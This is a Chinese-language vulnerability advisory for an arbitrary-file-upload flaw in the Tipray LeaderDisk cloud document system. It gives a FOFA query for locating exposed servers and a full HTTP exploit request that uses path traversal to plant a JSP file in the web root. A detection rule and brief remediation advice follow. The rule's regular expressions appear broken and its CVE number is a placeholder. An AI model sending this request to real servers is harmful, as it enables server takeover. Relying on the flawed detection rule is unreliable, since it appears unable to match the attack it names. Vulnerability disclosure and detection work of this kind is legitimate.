

天锐绿盘云文档安全管理-uploadFolder-文件上传

天锐绿盘云文档安全管理-uploadFolder-文件上传，攻击者可通过上传恶意文件导致服务器被控制。

影响版本

天锐绿盘云文档安全管理

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: body="/lddsm/" || title="天锐绿盘" || title=="Tipray LeaderDisk" || body="location.href=location.href+"lddsm""

POC/EXP:

```
POST /lddsm/service/./admin/activiti/uploadFolder.do?
taskId=../webapps/ROOT/&relativepath=1&path=1 HTTP/1.1
Host:127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: [calculated_length]
Content-Type: multipart/form-data; boundary=----
WebKitFormBoundaryXqK9dR2yTv7wNpLm

-----WebKitFormBoundaryXqK9dR2yTv7wNpLm
Content-Disposition: form-data; name="file"; filename="hello.jsp"
Content-Type: image/png

<% out.println("Hello world");%>
```

-----WebKitFormBoundaryXqK9dR2yTv7wNpLm--



sonrt规则：

```
alert http any any -> $HOME_NET any (
  msg:"TianRui LDSM - Malicious JSP Upload via uploadFolder";
  flow:to_server,established;
  http.method; content:"POST";
  http.uri; pcre:"/\/admin\/activiti\/uploadFolder\.do\?.*path=\.\/i";
  http.client_body; content:"filename=";
  pcre:"/filename=[\"']\[^\"]*\.\.jsp[\"']/i";
  metadata:cve CVE-2025-XXXXX;
  metadata:affected_product "天锐绿盘云文档系统";
  classtype:web-application-attack;
  sid:1000412;
  rev:1;
  priority:1;
)
```

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。